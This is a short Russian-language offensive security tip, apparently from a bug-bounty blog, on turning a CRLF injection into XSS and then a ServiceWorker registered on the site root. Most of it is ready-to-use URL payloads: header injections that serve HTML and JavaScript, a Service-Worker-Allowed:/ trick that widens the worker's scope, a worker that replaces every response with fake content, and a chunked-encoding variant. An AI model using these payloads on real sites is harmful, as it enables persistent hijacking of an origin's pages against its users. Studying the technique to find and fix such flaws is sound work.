Если вы обнаружили CRLF Injection, которая позволяет перезаписать HTTP ответ и сделать XSS, - то ее импакт можно увеличить с помощью ServiceWorker.
Для регистрации ServiceWorker необходимо:
1) Иметь возможность выполнения JavaScript в контексте сайта
2) Наличие JavaScript файла на сервере с корректным Content-Type
Используя CRLF Injection оба этих условия легко выполняются:
XSS
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>
JS файл
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file
Но остается проблема, что запросы, которые контролируются ServiceWorker, будут ограничены его scope.
То есть папкой, в которой у нас сработала CRLF Injection. В данном случае это /some/path/foo/bar/, что не очень интересно.
Но если почитать документацию, то можно узнать о заголовке Service-Worker-Allowed, который устанавливается в HTTP ответе вместе с JS кодом воркера, и через который можно переопределить scope.
Что в случае с CRLF Injection позволяет зарегистрировать ServiceWorker, расположенный в любой папке, на корень сайта.
Для этого формируем код ServiceWorker с
Service-Worker-Allowed:/, который подменяет все HTTP ответы на строку Fake response.https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})И подключаем его через XSS.
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3EТакже иногда бывает, что не получается сформировать валидный JS ограничивая HTTP ответ по длине с помощью Content-Length. В таком случае можно отбросить лишнее в ответе с помощью формирования HTTP ответа с Transfer-Encoding:chunked.
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0A